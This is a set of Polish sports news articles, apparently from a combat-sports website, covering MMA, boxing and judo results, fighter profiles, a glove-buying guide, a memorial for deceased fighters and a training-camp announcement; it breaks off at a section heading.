Po powrocie do Polski stoczyła swoją pierwszą zawodową walkę. Występująca w wadze lekkiej pięściarka zmierzyła się z Eleną Gromyko. 16 września 2011 roku w warszawskiej hali Torwar pokonała Rosjankę już w pierwsze rundzie. Miesiąc później stoczyła kolejne dwa pojedynki, a ostatni zaliczyła w marcu 2012 roku. Wszystkie walki wygrała i w wieku 20 lat podjęła decyzję o… zawieszeniu kariery.

Zapewne wiele osób było zaskoczonych takim obrotem sytuacji, ale decyzję Owczarz należało uszanować. Bokserka postanowiła zostać przy sportach walki i spełniać się w nieco innej roli. Chwyciła za mikrofon i występowała przed kamerą w jednej ze sportowych stacji. Minęły cztery lata…

Teraz MMA

Karolina Owczarz cały czas czuła w powietrzu zapach sportów walki. Zaczęła uczęszczać na treningi MMA, poczuła we krwi zastrzyk adrenaliny, a przy okazji głód rywalizacji. I gotowe. 24-latka wraca do aktywnego uprawiania sportu, chce próbować swoich sił w MMA. Otwarte pozostają pytania – kiedy, z kim i gdzie? – Kiedy Artur Ostaszewski z Shocker MMA kilka miesięcy temu, w prywatnej rozmowie, rzucił hasło: pomyśl o MMA, to zaczęłam sie śmiać i urwałam temat. Myśl wracała jednak do mnie jak bumerang i okazało się, że Artur jak zwykle miał rację… Teraz w końcu mogę oficjalnie ogłosić, że jestem częścią Shocker MMA – napisała na swoim Facebooku Karolina Owczarz.

Warto dodać, że w grupie Shocker są m.in. Marcin Różalski, Tomasz Oświeciński czy Albert Odzimkowski.

Fot. Karolina Owczarz Facebook

KM

Podgorica czeka na judoków

Trzy dni zmagań w stolicy Czarnogóry. 10 listopada rozpoczną się młodzieżowe mistrzostwa Europy w judo. O medale powalczy dziesięcioro reprezentantów Polski.

Zawodnicy do lat 23 lat będą mieli okazję sprawdzić swoje możliwości w imprezie rangi mistrzowskiej. Czy Polacy zabłysną w Podgoricy?

Piękne miejsce

Niejeden turysta powie, że warto odwiedzić Czarnogórę. Dla wielu zwiedzających odkrycie Podgoricy i poznanie jej stanowi wyjątkowe doświadczenie. Miasto położone między Ribnicą i Moracą robi wrażenie. Podgorica może pochwalić się, jak wiele miejsc na Bałkanach, bogatą historią. W XV wieku miasto zostało częścią Imperium Osmańskiego, a później Czarnogóry. Wcześniej miało inne nazwy, związane było m.in. z Wenecją. Następnie Podgorica została włączona do Serbii, a potem Jugosławii. Niezwykle bolesny dla miasta był rok 1944, kiedy to zostało ono zbombardowane, ale w grudniu tego samego roku udało się je wyzwolić. Po wojnie trwała jego odbudowa. Obecnie Podgorica jest niezwykle urocza, piękna i stanowi wizytówkę, budzącej coraz większą ciekawość wśród turystów, Czarnogóry.

Przy okazji młodzieżowych mistrzostw Europy w judo, nadarza się znakomita okazja, aby poznać miasto. Przez trzy dni, 10-12 listopada, Podgorica będzie gościła ponad 300 zawodniczek i zawodników z blisko 40 państw. W stolicy Czarnogóry zaprezentuje się dziesięcioro Polaków: Patryk Wawrzyczek (-66kg), Mateusz Garbacz (-73kg), Piotr Kuczera (-90kg), Rafał Kozłowski (-90kg), Katarzyna Wiszniewska (-48kg), Urszula Hofman (-70kg), Paula Kułaga (-78kg), Beata Pacut (-78kg), Anita Formela (+78kg) i Anna Załęczna (+78kg).

Jedną z naszych faworytek do miejsca na podium jest Beata Pacut (78kg). Rok temu w Tel Awiwie Polka przegrała w ćwierćfinale z późniejszą triumfatorką Anastasiyą Turchyn i zajęła siódme miejsce. Tegoroczne starty w wykonaniu 21-letniej zawodniczki Czarnych Bytom są bardzo dobre. Pacut już trzykrotnie meldowała się na podium międzynarodowych turniejów. Polka zajmowała drugie miejsca w Pradze, Mińsku i Taszkiencie. Czas na kolejny medal na imprezie rangi mistrzowstw Europy. Do tej pory Pacut zapisała na swoim koncie srebro w czempionacie juniorów w 2014 roku.

Po raz ostatni w młodzieżowych mistrzostwach Europy zaprezentuje się Piotr Kuczera (90kg). W Tel Awiwie zawodnik z Rybnika odpadł już w eliminacjach. Teraz 22-latek znalazł się w gronie tych, którzy powalczą o podium. Ma argumenty, bo w tym roku już cztery razy stał na podium. Jednak ostatni raz 15 lipca w Saarburecken, gdzie zajął trzecie miejsce.

Blisko podium

Rok temu w Izraelu o krok od medalu młodzieżowych mistrzostw Europy były Paula Kułaga (78kg) i Anna Załęczna (+78kg). Obie wygrały po dwie walki, jednak na ostatniej prostej musiały uznać wyższość odpowiednio Giorgii Stangherlin i Jodie Myers. W tym roku zdecydowanie lepiej prezentuje się Załęczna, która m.in. była trzecia w Celje.

KM

Już nie jest naszą królową?

Joanna Jędrzejczyk na kolanach, Polka straciła pas mistrzyni UFC kategorii słomkowej. Piękny sen został przerwany, pierwsza porażka w MMA na koncie 30-latki. Czy przegrana w starciu z Rose Namajunas stanowi powód do dyskredytowania możliwości Joanny Jędrzejczyk?

30-latka pochodząca z Olsztyna stała się marką samą w sobie. Jedną z najbardziej rozpoznawalnych i lubianych polskich sportsmenek. Teraz dla Joanny Jędrzejczyk nastał trudny czas.

Przegrać jeden raz

„Zwycięstwo ma wielu ojców, porażka jest sierotą” – prawda stara jak świat. Niestety, praktyka życia jest tego najlepszym potwierdzeniem. Tłumy wielbią zwycięzców, bo chcą mieć swoich idoli. A gdy przychodzi porażka, wylewają wiadro pomyj. Może w przypadku Joanny Jędrzejczyk aż tak źle nie jest. Jednak porażka na gali UFC 217 w Madison Square Garden i utrata mistrzowskiego pasa na rzecz Rose Namajunas sprawiła, że akcje Polki poszybowały w dół. Wcale nie jest taka dobra, jak się wydawało. Ma słabą szczękę. Musiała kiedyś przegrać. Wreszcie ktoś jej utarł nosa. Oceniać i komentować każdy może, ale pytanie – czy ma ku temu solidne podstawy. Bo przydałaby się analiza, rozeznanie, bo słowa mają swoją wagę i mogą ranić. Można rzucać na lewo i prawo ocenami, ale co one mają wspólnego z rzeczywistością?

Każdy może przegrać. Najważniejsze, aby umiał się podnieść i iść dalej. Do tej pory Joanna Jędrzejczyk kibicom MMA w Polsce dostarczała wiele radości i wzruszeń. 30-latka pokazała, że jeśli się chce, to można wznieść się na szczyt. Zawsze uśmiechnięta, radosna, pozytywnie nastawiona do otoczenia i gotowa do ciężkiej pracy. W świecie sportów walki może uchodzić za autorytet. Przebiła się w UFC i zyskała miano gwiazdy. 14 marca 2015 roku pokonała Carlę Esparzę i sięgnęła po mistrzostwo w wadze słomkowej. Pięć razy skutecznie broniła swojej zdobyczy, ale szósta zakończyła się stosunkowo szybko. Rose Namajunas dopadła Polkę w pierwszej rundzie. Jędrzejczyk padła po ciosach Amerykanki, ale wstała, jednak kolejny atak był perfekcyjny. Namajunas okładała olsztyniankę i ta odklepała. Wkroczył sędzia, który przerwał pojedynek. Amerykanka spełniła swoje marzenia. A może tak warto spojrzeć na tę walkę? Naładowana Namajunas sięgnęła po pas mistrzowski. Z kolei Jędrzejczyk zanotowała pierwszą porażkę w karierze, straciła pas po 966 dniach.

Co dalej?

Polka nie zapadnie się pod ziemię i nie zniknie. Jest prawdziwą wojowniczką i z pewnością zobaczymy ją w walce z Namajunas. Trzeba tylko pamiętać, że jedna porażka nie przekreśla całego dorobku, a po tym jak się przegrywa poznaje się prawdziwych mistrzów. O tym warto pamiętać!

Joanna Jędrzejczyk nie rozpamiętuje porażki. – Patrzę z optymizmem w przyszłość. Wiem, że wrócę silniejsza niż kiedykolwiek i szybciej niż się tego spodziewacie – napisała na swoim Facebooku.

Fot. Facebook Joanna Jędrzejczyk

KM

Jak wybrać rękawice do MMA?

Rękawice MMA muszą być wygodne

To pierwsza i najważniejsza sprawa. Nie da się efektywnie ćwiczyć wyprowadzania ciosów, jeżeli rękawice będą zbyt luźne. Z drugiej strony nadmierna ciasnota może być nie tylko niewygodna, ale tez prowadzić do otarć. Dlatego staraj się znaleźć rękawice, które będą jak najlepiej pasować do wielkości Twoich dłoni. Jeśli kupujesz je przez internet, zawsze możesz wcześniej zapytać o możliwość wymiany na inny rozmiar.

Zwróć uwagę na rzep

Rzepy, którymi mocujesz rękawice na nadgarstkach, odpowiadają nie tylko za to, żeby rękawice dobrze się trzymały na pięściach, ale i za stabilizację nadgarstka. Z tego też powodu warto, by były odpowiednio szerokie. Ma to znaczenie zwłaszcza w przypadku osób początkujących, które jeszcze nie mają wyrobionego odruchu prawidłowego układania pieści w trakcie uderzenia.

Poziom zabudowania rękawicy

Większość sklepów z akcesoriami do sportów walki (chociażby FighterShop) proponują rękawice MMA o warstwach ochronnych o bardzo różnej grubości. Czym właściwie różnią się między sobą i kiedy warto po nie sięgać? Przede wszystkim przekazywaną siłą uderzenia, ale też zakresem ruchów.

Te bardziej zabudowane ograniczają możliwości chwytów i podduszania, co sprawia, że w walkach sięga się raczej po ich lżejsze odpowiedniki. Należy jednak zaznaczyć, że z perspektywy początkującego ograniczenie to jest pomijalne, ponieważ do podstawowych chwytów i tak wystarczają. Jednocześnie nawet zaawansowani sięgają po bardziej zabudowane rękawice gdy uczestniczą w sparingach. Warto tez zaznaczyć, że na workach MMA spokojnie można ćwiczyć i w lekkich i w bardziej obudowanych rękawicach.

Które więc wybrać? Na dłuższą metę warto mieć dwie pary, jedną prostą, drugą obudowaną, ale początkowo wystarczy wersja zapewniająca większe bezpieczeństwo (zarówno dla partnerów treningowych, jak i dla własnych dłoni).

Szósta obrona przed Jędrzejczyk

4 listopada Joanna Jędrzejczyk zmierzy się z Rose Namajunas na gali UFC 217 w Madison Square Garden w Nowym Jorku. Dla Polki będzie to już szósta obrona mistrzowskiego pasa w kategorii słomkowej.

30-latka pochodząca z Olsztyna jest jak maszyna, która odprawia kolejne rywalki. Jędrzejczyk wygodnie rozsiadła się na tronie i stała się królową MMA.

Mistrzyni jest jedna

Po raz drugi Joanna Jędrzejczyk będzie broniła mistrzowskiego pasa w Madison Square Garden. W Nowym Jorku rywalizowała na gali UFC 205, gdzie pokonała Karolinę Kowalkiewicz. To właśnie wtedy Conor McGregor wygrał przed czasem z Eddim Alvarezem i sięgnął po pas w wadze lekkiej. Wracając do Polki, tytuł wywalczyła dwa i pół roku temu. W Dallas wygrala przez nokaut z Carlą Esparzą i sięgnęła po pas wagi słomkowej. Nie brakowało zawodniczek, które żywiły nadzieję, że odbiorą Jędrzejczyk miano najlepszej. Jessica Penne, Valerie Letourneau, Claudia Gadelha, Kowalkiewicz i Jessica Andrade próbowały, ale musiały obejść się smakiem.

Teraz swojej szansy szuka Rose Namajunas. 25-letnia Amerykanka, która ma korzenie litewskie swoją przygodę ze sportami walki rozpoczęła w wieku pięciu lat. Namajunas może pochwalić się czarnymi pasami taekwondo i karate. Trenowała również jiu-jitsu. Co ciekawe, zawodniczka UFC ma szeroki wachlarz talentów. Namajunas ukończyła Wyższą Szkołę Sztuk Pięknych w Milwaukee. W wonych chwilach lubi grać… Chopina. Do MMA weszła mocnym akcetem. Dotarła do finału The Ulimate Fighter 20. W grudniu 2014 roku przegrała w trzeciej rundzie z Carlą Esparzą. Następnie Namajunas wygrała trzy walki w UFC, dopiero Karolina Kowalkiewicz zatrzymała Namajunas, ale wygrała niejednogłośną decyzją sędziów. W kwietniu 25-latka pokonała Michelle Waterson przez duszenie w drugiej rundzie.

W Nowym Jorku Namajunas stanie przed życiową szansą, ale Jędrzejczyk to doświadczona i niemalże perfekcyjna zawodniczka. Polka musi uważać na Amerykankę, która potrafi w mgnieniu oka znaleźć pozycję i zmusić rywalkę do poddania. Z pewnością mistrzyni UFC poznała Namajunas na wylot i jest w pełni przygotowana do rywalizacji.

Powrót

Prawie cztery lata fani MMA musieli czekać na kolejną walkę Georgesa St. Pierre'a. Kanadayjczyk ma fantastyczną passę dwunastu wygranych z rzędu. W Nowym Jorku St. Pierre zaprezentuje się w walce wieczoru, a jego rywalem będzie z mistrzem wagi średniej Michaelem Bispingiem.

Podczas gali UFC 217 dojdzie również do starcia o pas w wadze koguciej. Cody Garbrandt będzie bronił tytułu w starciu z T.J. Dillashawem.

Fot. Joanna Jędrzejczyk Facebook 

KM

Na zawsze pozostaną w naszej pamięci

Dzień Wszystkich Świętych to czas pogłębionej refleksji. Pochylamy się nad mogiłami tych, których nie ma. Wydaje się, że jeszcze niedawno z nimi rozmawialiśmy, wspólnie działaliśmy, śmialiśmy się. Zaduma nad życiem, jego kruchością i istotą. A w tym wszystkim pamięć. Bo choć ich nie ma, nadal trwają. W naszych sercach, w naszej pamięci.

W ciągu roku pożegnaliśmy wiele wybitnych postaci związanych ze sportami walki. „Byk z Bronxu” – tak nazywano Jake LaMottę, który charateryzował się niezwykłą wytrzymałością. Bokser stoczył 106 walk, wygrał 83. Na podstawie jego życiorysu Martin Scorsese nakręcił film „Wściekły Byk” z Robertem De Niro w roli głównej. Jake LaMotta zmarł 19 września 2017 roku w wieku 95 lat.

W Los Angeles sięgnął po tytuł mistrza świata kategorii piórkowej. Było to w 1963 roku. Sugar Ramos pokonał Daveya Moore'a, którego po 10. rundzie poddał jego sekundant. Kilka dni po walce pięściarz zmarł. Z kolei pochodzący z Kuby Ramos skutecznie bronił tytułu do września 1964 roku. Później walczył jeszcze o pas w wadze lekkiej, ale bezskutecznie. Zmarł mając 75 lat.

Józef Grudzień był jednym z najwybitniejszych polskich bokserów. Zdobył złoto Igrzysk Olipijskich w Tokio w 1964 roku, cztery lata później w Meksyku sięgnął po srebro. Na swoim koncie zapisał również mistrzostwo i wicemistrzostwo Europy. Sukcesy odnosił w wadze lekkiej. Józef Grudzień zmarł w wieku 78 lat.

Zaledwie 34 lata przeżył Tim Hauge. Kanadyjczyk dał się poznać kibicom jako twardy zawodnik MMA, który na swoim koncie zapisał występy w UFC. W czerwcu zaprezentował się w ringu bokserskim. Hauge zaliczył pięć nokdaunów w walce z Adamem Braidwoodem. Trafił do szpitala z obrażeniami mózgu, po kilku dniach zmarł.

Po ponad rocznej przerwie do klatki MMA wrócił Donshay White. W drugiej rundzie przerwano jego walkę z Rickym Musem.W drodze do szatni White stracił przytomność i już jej nie odzyskał. Odszedł w wieku 37 lat.

Zaledwie siedemnaście walk w MMA stoczył Dawid Żywica. Miało być więcej… W ostatniej walce zdolny fighter zaprezentował się podczas gali PLMA 70 w Warszawie, gdzie pokonał Sonica Valerianova. Półtora miesiąca później Żywica zmarł. Miał 25 lat.

Tylko 17 lat przeżył Jakub Szczęsny. Całe środowisko kickboxingu pogrążyło się w smutku. Trenował w klubie FC Knurów i z nadzieją patrzył w przyszłość. Uprawiał również, z sukcesami, taekwondo. W wieku 64 lat odszeł mistrz Europy w wadze ciężkiej z 1975 roku w boksie Andrzej Biegalski.

W naszej pamięci pozostają: Grzegorz Pieronkiewicz, Muhammad Ali, Wiesław Rudkowski, Henryk Średnicki, Józef Warchoł, Bogdan Chruścicki, Bohdan Tomaszewski, Jerzy Kulej, Zbigniew Pietrzykowski. Zrobili wiele dla sportów walki, tworzyli historię i na trwałe się w niej zapisali. Pozostaną w naszych sercach. Na zawsze.

KM

Anthony Joshua

Brytyjski bokser wagi ciężkiej urodzony 15 października 1989 roku w Watford. Mistrz olimpijski i wicemistrz świata amatorów, aktualny zawodowy mistrz świata federacji IBF, superczempion WBA i IBO. W 2011 roku, w barwach reprezentacji, podczas mistrzostw świata amatorów w Baku zdobył srebrny medal w kategorii superciężkiej (powyżej 91 kg). Na igrzyskach olimpijskich w Londynie zdobył złoty medal w kategorii powyżej 91 kg.

Zawodową karierę rozpoczął 5 października 2013 w Londynie, pokonując przez TKO w pierwszej rundzie Włocha Emanuele Leo. 22 listopada 2014 w Echo Arena w Liverpoolu, w kolejnej dziesiątej swojej walce Joshua spotkał się z rodakiem Michaelem Sprottem (42-23, 17 KO). Po serii ciosów w pierwszej rundzie Anthony'ego, arbiter Terry O'Connor przerwał walkę, ogłaszając wygraną Joshui przez TKO. 4 kwietnia 2015 w Metro Radio Arena w Newcastle znokautował w trzeciej rundzie Amerykanina Jasona Gaverna (26-20-4, 11 KO). 9 maja 2015 w Birmingham znokautował w drugiej rundzie Brazylijczyka Raphaela Zumbano Love′a (36-11-1, 29 KO). 30 maja 2015 w Londynie wygrał przez techniczny nokaut w drugiej rudzie z Amerykaninem Kevinem Johnsonem (29-7-1, 14 KO), zdobywając międzynarodowy tytuł WBC. 12 września 2015 w Londynie wygrał przez techniczny nokaut pokonując w pierwszej rundzie Szkota Gary'ego Cornisha (21-1, 12 KO). 12 grudnia 2015 w Londynie pokonał przez techniczny nokaut w siódmej rundzie Dilliana Whyte (16-1, 13 KO).

9 kwietnia 2016 w londyńskiej O2 Arena znokautował w drugiej rundzie Amerykanina Charlesa Martina (23-1-1, 21 KO), zdobywając tym samym tytuł mistrza świata federacji IBF. 25 czerwca 2016 w Londynie pokonał w pierwszej obronie tytuł mistrza świata przez nokaut w siódmej rundzie Amerykanina Dominica Breazeale'a (17-1, 15 KO). 10 grudnia 2016 w Manchesterze pokonał przez techniczny nokaut w trzeciej rundzie Amerykanina Erica Molinę (25-4, 19 KO), broniąc po raz drugi tytuł mistrza świata wagi ciężkiej federacji IBF.

29.04.2017r. doszło do oczekiwanej walki z byłym mistrzem świata WBA, IBF, WBO i IBO Ukraińcem Wołodymyrem Kłyczko. Walka odbyła się w Londynie na stadionie Wembley przy blisko 90 tys. widzach obecnych na trybunach. Obaj pięściarze według nieoficjalnych informacji mieli za walkę zainkasować minimum 15 mln. funtów, co było by największymi wypłatami w ich karierach. Przed starciem zdecydowanym faworytem bukmacherów i większości ekspertów był młodszy Joshua. Sama walka miała przebieg dramatyczny. Gdy wydawało się, że Anglik może zakończyć walkę w 5 rundzie dopadł go kryzys kondycyjny, a jego ciosy były niedokładne. Wykorzystał to bardziej doświadczony Kliczko, który nie dość, że doszedł do siebie po liczeniu to jeszcze zepchnął do obrony zmęczonego Anglika, który ledwo dotrwał do końca rundy. W 6 rundzie inicjatywę przejął Kliczko, który sensacyjnie rzucił ulubieńca publiczności na deski. Jednak Joshua podniósł się i ponownie cudem przetrwał do końca rundy. Obaj pięściarze wyglądali na skrajnie wymęczonych. W następnych rundach pojedynek się lekko uspokoił, obaj zawodnicy starali się nabrać nowych sił. W 11 rundzie do ataku ponownie ruszył Joshua trafiając potężnie Ukraińca i dwukrotnie posyłając go na deski. Po kolejnym ataku Anglika sędzia zastopował pojedynek chroniąc Ukraińca przez prawdopodobnie ciężkim nokautem. Tym samym Joshua odniósł swoje 19 zwycięstwo w karierze, obronił po raz trzeci w karierze pasa IBF i dorzucił do kolekcji brakujące tytuły WBA i IBO.

Sarnacki o krok od triumfu

Judoka Maciej Sarnacki (+100kg) wywalczył srebrny medal w zawodach Grand Slam w Abu Dhabi. Na podium stanęła również Agata Ozdoba-Błach (63kg), która była trzecia. Z kolei w Pucharze Europy kadetów w Koper biało-czerwoni zdobyli dwa medale.

Nasza młodzież zajęła siódme miejsce w klasyfikacji końcowej zawodów, zaś seniorzy w Abu Dhabi uplasowali się na czternastej pozycji.

W końcu podium

Maciej Sarnacki mógł mieć koszmary. Wszystko przez prześladujące go piąte miejsca. Zaczęło się od mistrzostw Europy w Warszawie, gdzie judoka Gwardii Olsztyn starcie o brąz przegrał z Czechem Lukasem Krpalekiem. Później był piąty w Bukareszcie i Saarbrucken. Do Abu Dhabi mógł jechać z nadziejami, ale nie spodziewał się, że będzie walczył o złoto. Dotychczas w zawodach rangi Grand Slam Sarnacki trzy razy stawał na podium, za każdym razem na jego najniższym stopniu stopniu. W stolicy Zjednoczonych Emiratów Arabskich 30-latek pokazał się z najlepszej strony. Trzy walki wygrał przed czasem i stanął do rywalizacji o złoto. Jego rywalem był doświadczony Francuz Cyrille Maret, który szybko zakończył starcie. 

Kolejny dobry występ zaliczyła Agata Ozdoba-Błach (63kg). Brązowa medalistka tegorocznych mistrzostw Europy po raz drugi w karierze zajęła trzecie miejsce w zawodach rangi Grand Slam. Ponownie w Abu Dhabi. Na drodze Polki w półfinale stanęła Lucy Renshall. Ozdoba-Błach nie potrafiła znaleźć recepty na ubiegłoroczną mistrzynię Europy U23 i zapisała na swoim koncie trzy kary shido. W starciu o brąz nasza zawodniczka pokonała młodą Emily Burt, która w Abu Dhabi odniosła największy sukces w karierze.

Tym razem smakiem musiała się obejść Anna Borowska (57kg). Polka na początek rywalizacji pokonała Soumiyę Iraoui, a potem przegrała dwie walki i zajęła siódmą lokatę. Julia Kowalczyk (57kg), Agata Perenc i Karolina Pieńkowska (52kg), Karolina Tałach (63kg), Damian Szwarnowiecki (81kg) i Piotr Kuczera (90kg) odpadli z turnieju po jednej walce.

Złota Kinga

W Koper wystartowało ośmioro Polaków, a dwie judoczki wracają w wyśmienitych nastrojach. Do góry mogła podskoczyć Kinga Wolszczak (+70kg), która zapisała na swoim koncie złoty medal. W tym roku judoczka zajmowała już trzecie miejsca w Teplicach i Fuengiroli. Nad Adriatykiem rozłożyła na łopatki dwie Włoszki.

Największy sukces w tym sezonie zanotowała Paulina Szlachta (48kg). 17-latka nie zaczęła najlepiej, bo przegrała z Włoszką Carlottą Avanzato, ale później wygrała dwie walki i zdobyła brąz.

O krok od podium była Agata Palka, która zajęła piąte miejsce. Siódma była Nikola Szlachta.

KM

LFN Camp – "Piękna i Bestia"

„Piękna i Bestia” poprowadzą kolejny obóz treningowy dla zawodniczek #LFNTeam w Łodzi! #LFNCAMP 02-05 listopada 2017r. w Łodzi.

Wielokrotna Mistrzyni Świata i Europy w kick-boxingu, pionierka polskiej kariery bokserskiej kobiet – Iwona Guzowska oraz międzynarodowy Mistrz KSW wagi ciężkiej – Marcin Różalski, poprowadzą przygotowania polskich zawodniczek do grudniowej gali Ladies Fight Night. 

Trzecia odsłona obozu sportowego dla zawodniczek jedynej w Europie żeńskiej organizacji sportów walki odbędzie się 2-5 listopada w Fight Club Łódź (ul. Drewnowska 77). Podczas czerwcowego spotkania dziewczęta miały okazję trenować pod okiem Mistrzyni Świata MMA Joanny Jędrzejczyk. Tym razem treningi poprowadzą Mistrzyni kick-boxingu Iwona Guzowska oraz Mistrz KSW Marcin Różalski. Obóz został podzielony na dwie części. Spotkanie rozpocznie Iwona Guzowska oraz poprowadzi treningi w czwartek i w piątek. Kolejne dwa dni obozu będą należały do Marcina Różalskiego. Uczestnictwo w obozie potwierdziły takie zawodniczki jak m.in. Agnieszka Niedźwiedź, Izabella Badurek, Katarzyna Sadura, Katarzyna Lubońska oraz Marta Waliczek.

Grudniowa gala Ladies Fight Night „Double Trouble”

Listopadowy obóz sportowy rozpoczyna przygotowania zawodniczek do podwójnej, grudniowej gali organizacji Ladies Fight Night zatytułowanej „Double Trouble”. To kolejny event sportowy, który zaskoczy was wszystkich. Drugie urodziny obchodzić będziemy już 15 i 16  grudnia. Rejestracja wejściówek na naszej odświeżonej stronie już od 15 listopada 2017r. Zapraszamy! Podwójne kłopoty gwarantowane!

Harmonogram obozu:

02.11.2017r. (czwartek) – trening godz. 17.00 (Iwona Guzowska)

03.11.2017r. (piątek) – trening godz. 10.00 i 17.00 (Iwona Guzowska)

04.11.2017r. (sobota) – trening godz. 10.00 i 17.00 (Marcin Różalski)

05.11.2017r. (niedziela) – trening godz. 10.00 (Marcin Różalski)

Miejsce:

Fight Club Łódź, ul. Drewnowska 77

Tradycji stało się zadość

Mistrz ponownie wygrał przed czasem. Anthony Joshua znokautował w dziesiątej rundzie Carlosa Takama i obronił pasy mistrza świata wagi ciężkiej federacji IBF, IBO i WBA.

28-letni gwiazdor kategorii królewskiej zaprezentował się w ringu po raz pierwszy od kwietniowego starcia z Władimirem Kliczko. 

Dwudziesta wygrana przed czasem

Anthony Joshua imponuje siłą i skutecznością. W Cardiff stoczył dwudziestą walkę w karierze i po raz dwudziesty wygrał przed czasem! Na Principality Stadium 28-letni czempion wagi ciężkiej miał rywalizować z Kubratem Pulewem, jednak Bułgar dwanaście dni przed walką doznał kontuzji. Jego miejsce zajął Carlos Takam, który swego czasu przegrał z Aleksandrem Powietkinem i Josephem Parkerem. W tym roku 36-letni bokser urodzony w Kamerunie pokonał m.in. Marcina Rekowskiego. Nie da się ukryć, że szanse Takama na sukces w starciu z Joshuą oceniano jako minimalne.

36-latek walczył dzielnie z faworytem. Pierwsza runda na rozpoznanie, a później w ruch poszły pięści. W drugiej odsłonie Takam zachwiał się. Joshua kontynuował drogę do zwycięstwa i w czwartej rundzie groźnie skontrował rywala. Takam miał problem z okiem, przyjął kolejne ciosy i był po raz pierwszy liczony. To zachęciło Joshuę, który ani na chwilę nie myślał, aby zwolnić. Takam stał jednak twardo na nogach i przyjmował kolejne ciosy, ale szukał również możliwości trafienia czempiona. Przewaga Brytyjczyka nie podlegała dyskusji. Takam robił wszystko, aby dotrwać do końca starcia. W dziesiątej rundzie Joshua niemiłosiernie okładał Francuza ciosami, do akcji wkroczył sędzia, który przerwał walkę. Takam nie był zadowolony z takiego obrotu sprawy, ale musiał pogodzić się z tą decyzją.

Walka zakończyła się zwycięstwem Joshuy, który po raz pierwszy obronił pas IBF, IBO i WBA. Jednak z walki nie wyszedł bez szwanku. Bokser podkreślał, że ma problemy z oddychaniem. Prawdopodobnie przez złamany nos.

Co dalej?

Warto podkreślić, że Joshua pisze nowy rozdział w historii boksu. Wygrał dwudziesty raz przez nokaut, czym poprawił wynik Mike Tysona, który triumfował dziewiętnaście razy z rzędu.

Teraz wszyscy czekają na starcie tytanów kategorii królewskiej. Mówi się, że w przyszłym roku miałoby dojść do pojedynku Joshuy z Deontayem Wilderem. Dwóch bombardierów stanęłoby do rywalizacji o ogromną stawkę. Na szali pasy WBC, WBA, IBF i IBO. Zapowiada się wydarzenie największego kalibru. Czekamy.

KM

Kary się posypały

Podczas gali KSW 40 w Dublinie było niezwykle gorąco. Nie tylko za sprawą emocji sportowych. Walka Mateusza Gamrota z Normanem Parkiem zakończyła się skandalem w postaci przepychanek i wyzwisk. Federacja KSW wyciągnęła konsekwencje.

Gamrot i Parke spotkali się po raz drugi. Walka na gali KSW 39 Colosseum w Warszawie zakończyła się pozytywnym rozstrzygnięciem dla Polaka. W Dublinie doszło do rewanżu…

Walka, której nie było

Mateusz Gamrot ponownie chciał udowodnić, że jest lepszy. Parke miał zakusy na pas mistrzowski, jednak nie potrafił skutecznie przeciwstawić się Polakowi. Przez dwie rundy mistrz wagi lekkiej obijał głowę Irlandczyka. Zawodnicy zdecydowali się na rywalizację w stójce. Parke starał się podpuścić Gamrota i często go prowokował. Pretendent pokazywał, że ciosy rywala nie robią na nim wrażenia. W pierwszej rundzie mistrz KSW trafił Irlandczyka w krocze. Kopnięcie nie było zamierzone. W końcu Parke doszedł do siebie, ale nie potrafił zagrozić Gamrotowi.

Druga runda miała bardzo podobny przebieg. Gamrot okładał rywala, a ten postawił na grę aktorską, jednak widać było, że jest coraz słabszy. Polak dopuszczał się nieczystych zagrań. Gamrot wsadził palec w oko Irlandczykowi i ten musiał się poddać oględzinom lekarza. Medyk nie pozwolił na kontynuowanie starcia. Pojedynek uznano za nierozstrzygnięty.

W oktagonie było gorąco. Zawodnicy wzajemnie się prowokowali i doszło do przepychanek. Parke zaatakował Borysa Mańkowskiego, a jeden z sekundantów Gamrota uderzyła Parke'a. Gdy emocje już opadły, do akcji postanowiła wkroczyć federacja KSW. Kary się posypały.

Kto ucierpi najbardziej?

Po „kieszeni” dostaną główni aktorzy widowiska. – Mając na uwadze fakt, że to Norman Parke, kiedy podszedł do narożnika swojego rywala, pierwszy odepchnął Borysa Mańkowskiego, za atak na narożnik przeciwnika zawodnik z Irlandii Północnej zostanie ukarany finansowo – czytamy w oświadczeniu federacji KSW. I dalej: – Za zachowanie narożnika kara finansowa nałożona została również na mistrza KSW w wadze lekkiej, Mateusza Gamrota. 

Ukarany został również Marcin Bilman, który stał w narożniku Polaka i uderzył Parke'a. – Na galach KSW nie ma miejsca na atakowanie zarówno narożnika zawodników, jak i samych fighterów, ponieważ jest to zachowanie wysoce odbiegające od sportowych standardów, które przyświecają Federacji KSW. Federacja nakłada na Marcina Bilmana zakaz wstępu do narożników oraz zaplecze na okres 9 miesięcy od dnia gali KSW 40 – napisano w oświadczeniu.

 

KM

Wszystko jasne, teraz półfinały

Ćwierćfinały turnieju World Boxing Super Series za nami. Ostatnim półfinalistą w kategorii super średniej został Jurgen Braehmer, który w Schwerinie pokonał Roba Branta.

Jesienne emocje związane z rywalizacją w WBSS zakończone. Odbyło się osiem walk w dwóch kategoriach wagowych. Kogo zobaczymy w półfinałowych starciach?

Kategoria super średnia

Jako ostatni na ring weszli Jurgen Braehmer i Rob Brant. Doświadczony Niemiec mógł zaprezentować się przed własną publicznością, bo walka odbyła się w Schwerinie, gdzie mieszka od lat. 39-letni Braehmer górował nad Brantem doświadczeniem, jednak Amerykanin jeszcze nigdy nie przegrał. Niemiec narzucił swój styl i z każdą rundą jego przewaga była coraz bardziej widoczna. Brant starał się atakować, ale nie mógł przebić się przez skuteczną obronę Niemca. Sędziowie nie mieli wątpliwości i zdecydowanie wskazali na 39-latka – 119:109, 118:110, 116:112. W półfinale Braehmer zmierzy się z Callumem Smithem, który w Liverpoolu pokonał na punkty Erika Skoglunda.

Pozostałe dwa ćwierćfinały w kategorii super średniej zakończyły się przed czasem. Chris Eubank Jr wypunktował Avni Yildirima. Turek rozpoczął aktywnie i chciał zaskoczyć rywala, ale już pod koniec pierwszej rundy był liczony. Eubank konsekwentnie robił swoje i mądrze boksował. Po serii ciosów w trzeciej rundzie Yildirim padł na deski i walka została przerwana. Z kolei George Groves w Londynie obronił pas WBA wagi super średniej. 29-letni Brytyjczyk spotkał się z niepokonanym Jamie Coxem. Groves potrzebował czterech rund, aby rozstrzygnąć walkę na swoją korzyść. Świetna kontra Brytyjczyka i prawy na korpus powalił Coxa, a sędzia wyliczył go i przerwał pojedynek. 

Kategoria junior ciężka

